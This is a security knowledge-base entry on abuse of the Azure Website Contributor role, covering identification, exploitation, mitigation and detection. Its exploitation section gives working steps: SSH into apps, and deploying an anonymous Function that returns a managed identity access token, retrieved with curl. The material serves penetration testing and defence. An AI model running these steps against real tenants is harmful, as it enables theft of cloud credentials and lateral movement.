Summary
| Forestall ACL Alias | AZ_WEBSITE_CONTRIBUTOR |
| Azure Alias | Website Contributor (Azure RBAC) |
| Affected Object Types | App Services, Function Apps, Static Web Apps |
| Exploitation Certainty | Certain |
| Azure RBAC Roles | Website Contributor (de139f84-1756-47ae-9be6-808fbbe84772} |
Custom Role Actions:
Microsoft.Web/sites/*
Description
AZ_WEBSITE_CONTRIBUTOR represents the Azure RBAC Website Contributor role assignment. This role grants full control over Azure App Services and Function Apps, enabling:
- Deploy code - publish arbitrary code that executes under the app identity.
- Access publishing credentials - retrieve FTP/FTPS credentials and deployment tokens.
- Modify app settings - access environment variables containing secrets.
- List host keys - retrieve Function App keys for direct invocation.
- Execute commands - SSH as root (Linux) or run commands via Kudu API.
This role includes Microsoft.Web/sites/publish/Action which enables command execution. See AZ_EXECUTE_COMMAND for detailed exploitation methods.
App Services and Function Apps commonly have:
- Managed identities with access to Key Vaults, databases, and other resources.
- Connection strings containing database credentials.
- API keys and secrets in application settings.
- Network access to internal resources via VNet integration.
Identification
PowerShell (Az Module)
Connect-AzAccount
# List Website Contributor assignmentsGet-AzRoleAssignment -RoleDefinitionName "Website Contributor" | Select-Object DisplayName, SignInName, ObjectType, Scope | Format-Table -AutoSize
# List all Web AppsGet-AzWebApp | Select-Object Name, ResourceGroup, DefaultHostName, State
# List all Function AppsGet-AzFunctionApp | Select-Object Name, ResourceGroup, DefaultHostName, State
# Check a web app managed identity$app = Get-AzWebApp -ResourceGroupName "<RGName>" -Name "<AppName>"$app.IdentityExploitation
This role grants Microsoft.Web/sites/publish/Action which enables command execution on App Services.
See AZ_EXECUTE_COMMAND for web-based exploitation methods.
SSH via Azure CLI (Linux App Services)
The CLI SSH commands require Website Contributor (or equivalent) role, not just publish/Action.
Azure CLI - Interactive shell
az webapp ssh --name "<AppName>" --resource-group "<RGName>"
ssh to a web app
Azure CLI - SSH to Function App (Premium/Dedicated plans only)
Note: SSH is only available on Linux Function Apps running on Premium or Dedicated (App Service) plans. Consumption plan Function Apps do not support SSH.
az webapp ssh --name "<FunctionAppName>" --resource-group "<RGName>"
SSH to a Function App
Function App HTTP Trigger (.NET)
Deploy a .NET isolated Azure Function that uses Azure.Identity to request managed identity tokens.
Requirements:
- .NET SDK 10.0+ installed
- Azure Functions Core Tools (
npm install -g azure-functions-core-tools@4) - Azure CLI authenticated with Website Contributor role
- Target Function App running on .NET isolated worker
Step 1: Install .NET Function templates
dotnet new install Microsoft.Azure.Functions.Worker.ProjectTemplatesdotnet new install Microsoft.Azure.Functions.Worker.ItemTemplatesStep 2: Create and initialize the function project
mkdir mi-dotnet-funccd mi-dotnet-funcfunc init --worker-runtime dotnet-isolatedfunc new --name GetMIToken --template "HTTP trigger" --authlevel "anonymous"Step 3: Add Azure.Identity package
dotnet add package Azure.Identity
Step 4: Replace GetMIToken.cs with token acquisition code
For system-assigned managed identity (no client ID required):
using Microsoft.Azure.Functions.Worker;using Microsoft.Extensions.Logging;using Microsoft.AspNetCore.Http;using Microsoft.AspNetCore.Mvc;using Azure.Core;using Azure.Identity;namespace mi_dotnet_func;
public class GetMIToken{ private readonly ILogger<GetMIToken> _logger;
public GetMIToken(ILogger<GetMIToken> logger) { _logger = logger; }
[Function("GetMIToken")] public async Task<IActionResult> Run([HttpTrigger(AuthorizationLevel.Anonymous, "get", "post")] HttpRequest req) { string scope = "https://management.azure.com/.default";
// System-assigned managed identity - no client ID needed //var credential = new ManagedIdentityCredential();
string clientId = "a22986ea-7ae9-430f-af09-62ed5026b9db"; var credential = new ManagedIdentityCredential(clientId);
AccessToken token = await credential.GetTokenAsync( new TokenRequestContext(new[] { scope }) );
return new OkObjectResult(new { Message = "Managed Identity token acquired successfully", AccessToken = token.Token, Scope = scope, ExpiresOn = token.ExpiresOn }); }}Step 5: Deploy to target Function App
func azure functionapp publish <FunctionAppName>
Build and publish the Function App
Step 6: Invoke the function to get the token
curl "https://<FunctionAppName>.azurewebsites.net/api/GetMIToken"
get the managed identity token
Enumerating User-Assigned Managed Identity Client IDs
If the Function App uses a user-assigned managed identity, you must first enumerate the client ID before requesting tokens.
Azure CLI:
# List user-assigned identities on a Function Appaz functionapp identity show \ --name "<FunctionAppName>" \ --resource-group "<RGName>" \ --query "userAssignedIdentities"
# List all user-assigned managed identities in a resource groupaz identity list \ --resource-group "<RGName>" \ --query "[].{Name:name, ClientId:clientId, PrincipalId:principalId}" \ --output tablePowerShell (Az Module):
# Get Function App identity configuration$app = Get-AzFunctionApp -ResourceGroupName "<RGName>" -Name "<FunctionAppName>"$app.Identity.UserAssignedIdentities
# List all user-assigned managed identities in a resource groupGet-AzUserAssignedIdentity -ResourceGroupName "<RGName>" | Select-Object Name, ClientId, PrincipalId | Format-Table -AutoSizeOutput example:
| Name | ClientId | PrincipalId |
|---|---|---|
| my-func-identity | a22986ea-7ae9-430f-af09-62ed5026b9db | 8f3b1c2d-… |
Use the ClientId value when constructing the ManagedIdentityCredential:
var credential = new ManagedIdentityCredential("a22986ea-7ae9-430f-af09-62ed5026b9db");Mitigation
-
Minimize Website Contributor assignments
- Use Website Reader for read-only access.
- Scope assignments to specific apps.
-
Apply least privilege to managed identities
- App managed identities should have minimal required permissions.
-
Secure app settings
- Use Key Vault references instead of storing secrets in app settings.
-
Enable diagnostic logging
- Send App Service logs to Log Analytics.
Detection
Use the Azure Portal:
- Open Azure Portal -> App Services -> select the target app.
- Open Activity log and filter Operation for
Publish Web App,List Publishing Credentials, andUpdate Config. - Review Event initiated by, Timestamp, Resource, Status, and Change history for unexpected publishing or configuration changes.
- Open Deployment Center and review deployment history and source.
- Open Diagnose and solve problems to review app service activity from the portal.
References
- https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#website-contributor
- https://learn.microsoft.com/en-us/azure/app-service/configure-linux-open-ssh-session
- https://www.netspi.com/blog/technical-blog/cloud-penetration-testing/lateral-movement-azure-app-services/
- https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.html